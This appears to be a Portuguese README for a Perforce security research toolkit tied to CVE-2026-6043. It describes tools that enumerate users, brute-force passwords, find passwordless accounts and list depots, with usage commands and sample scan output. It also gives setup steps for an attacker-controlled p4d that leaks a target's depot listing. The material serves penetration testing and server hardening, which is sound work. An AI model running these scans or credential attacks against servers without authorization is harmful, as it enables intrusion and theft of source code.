
Pesquisa de segurança e ferramentas Perforce - CVE-2026-6043
Ferramentas de pesquisa de segurança do Perforce (Helix Core) e templates Nuclei.
Artigo de pesquisa: https://morganrobertson.net/p4wned/
Por favor, leia o artigo acima para detalhes completos.
Apenas alvos autorizados. Use em seus próprios servidores ou com permissão explícita por escrito.
Público-alvo: administradores de servidores Perforce, testadores de penetração, engenheiros de segurança
Atualização de maio de 2026: O Perforce 2026.1 foi lançado. Esta versão vem com configurações seguras por padrão! Muito satisfeito em ver isso lançado para proteger a propriedade intelectual dos desenvolvedores. Leia mais aqui.
Nota: Estas ferramentas varrem as configurações incorretas resultantes de CVE-2026-6043.
| Tool | Requer |
|---|---|
p4wned.py | Python 3, p4 CLI binary (veja abaixo) |
p4ghost.py | Python 3, p4 CLI binary, local p4d instance (veja configuração abaixo) |
p4-auth-hammer | g++, Perforce C++ API, OpenSSL 1.1.1 (veja p4-auth-hammer/README.md) |
| Ferramentas JavaScript | Node.js (sem dependências externas) |
| Templates Nuclei | Nuclei v3+ |
| Módulos Metasploit | Metasploit Framework |
Adquirindo o binário p4 (necessário para p4wned.py e p4ghost.py):
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4
Os servidores Perforce expõem um protocolo TCP binário personalizado (porta padrão 1666). Muitas instalações vêm com configurações inseguras por padrão — listagem de usuários não autenticada, divulgação de informações do servidor, depots remotos acessíveis, sem requisitos de senha e sem limitação de taxa nas tentativas de login. Todas as ferramentas aqui exploram essas configurações padrão sem exigir credenciais.
O scanner principal. Usa o binário da CLI p4 para enumerar usuários, testar credenciais, listar depots e produzir um relatório.
python3 p4wned.py [-brute] [-audit] [-parallel N]
Opções:
| Bandeira | Descrição |
|---|---|
-brute | Ativa modo de força bruta — testa senhas contra todas as contas de usuário descobertas |
-audit | Modo de auditoria completa — continua testando todos os usuários mesmo após encontrar uma vulnerabilidade |
-parallel N | Número de tentativas paralelas de senha (padrão: 1) |
Config (edite no topo do script):
| Variável | Descrição |
|---|---|
INPUT_FILE | Lista de alvos (ip:porta, um por linha) — padrão perforce-servers.txt |
P4_CMD | Caminho para o binário p4 — padrão ./p4 |
TOP_PASSWORDS_FILE | Wordlist para força bruta — padrão top-passwords.txt |
KNOWN_CREDS_FILE | Pares de credenciais conhecidos para tentar primeiro |
REPORT_FILE | Caminho do relatório de saída |
O que faz:
run.users.authorize=0)super em contas comprometidasSaída do console:
$ python3 p4wned.py
___ _ _ __ __ __ __ ___
/ _ \ || |/ / /\ \ \/\ \ \/__\/ \
/ /_)/ || |\ \/ \/ / \/ /_\ / /\ /
/ ___/|__ _\ /\ / /\ //__/ /_//
\/ |_| \/ \/\_\ \/\__/___,'
P4WNED - 0wning P4 servers via shit security defaults since Y2K+25
· Sniffs out user accounts, blank passwords, weak creds, and dumb settings.
· Confirms depots access and those juicy "super" user accounts.
· Drops a tidy report so you can fix the mess before the Skids arrive
Authorised targets only, brotendo. Use on your own servers or at your own risk.
==============================================================================
=== Processing: 192.0.2.10:1666 (perforce.example-studio.com) ===
[INFO] Testing user 'super' for security issues...
[INFO] User 'super' does not exist.
[INFO] Users listing accessible: build, designer1, jsmith, lead_prog, svc_build
[INFO] Testing user 'build' for security issues...
[INFO] Testing user 'designer1' for security issues...
[INFO] Testing user 'jsmith' for security issues...
[INFO] Testing user 'lead_prog' for security issues...
[INFO] Testing user 'svc_build' for security issues...
[INFO] Added new credential for 192.0.2.10:1666: user='svc_build', password='None'
[INFO] Saving updated credentials after finding valid credentials for svc_build on 192.0.2.10:1666
[INFO] Report saved to perforce-report-p4wned-1775436520.txt
Arquivo de relatório (perforce-report-p4wned-*.txt):
Perforce Security Scan Report
Server: 192.0.2.10:1666 (perforce.example-studio.com)
Status: Insecure
Note: Insecure via user 'svc_build' (no password)
== Depots ==
Depot depot 2025/11/03 local depot/... 'Default depot'
Depot assets 2024/08/19 local assets/... 'Asset depot'
== Last 10 Changes ==
Change 1047 on 2025/11/03 14:22:11 by lead_prog@DESKTOP-BUILD01
Merge branch feature/ai-pathfinding
Change 1046 on 2025/11/03 09:44:38 by designer1@DESKTOP-ART02
Updated character rig exports
== Depot Details ==
Depot: depot
-- Root Directories --
//depot/Source
//depot/Content
//depot/Config
This depot is a non-Unreal Engine Depot.
------------------------------------------------------------
Summary Report
Server: 192.0.2.10:1666 - Insecure - Note: Insecure via user 'svc_build' (no password)
Testa o acesso não autenticado a depots remotos através do usuário oculto remote. O exploit funciona executando uma instância p4d controlada pelo atacante localmente — o servidor alvo se conecta de volta a ela como parte do protocolo servidor a servidor, vazando sua listagem de arquivos do depot no processo.
Configuração (única):
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4
# Start a plain ASCII p4d on port 1818 (used as the attacker's server)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d
# Start a unicode p4d on a separate port (1819) for unicode targets
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi # convert to unicode mode
./p4d -r ./p4root_attacker_unicode -p 1819 -d
python3 p4ghost.py <input_file> [-skipnolicense] [-report FILE] [-p4cmd PATH]
[-unicodeport PORT] [-nonunicodeport PORT] [-timeout SECS]
# Example invocation using the local attacker servers above
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819
Argumentos:
| Bandeira | Descrição |
|---|---|
input_file | Lista de alvos (ip:porta, um por linha) |
-skipnolicense | Pular servidores que retornam Server license: none |
-report FILE | Caminho do relatório de saída |
-p4cmd PATH | Caminho para o binário p4 (padrão ./p4) |
-unicodeport PORT | Porta p4d unicode local a ser usada como servidor do atacante |
-nonunicodeport PORT | Porta p4d não-unicode local |
-timeout SECS | Tempo limite do comando |
Versões afetadas: Todas as versões abaixo de 2025.1 com security < 4 (o padrão é 0).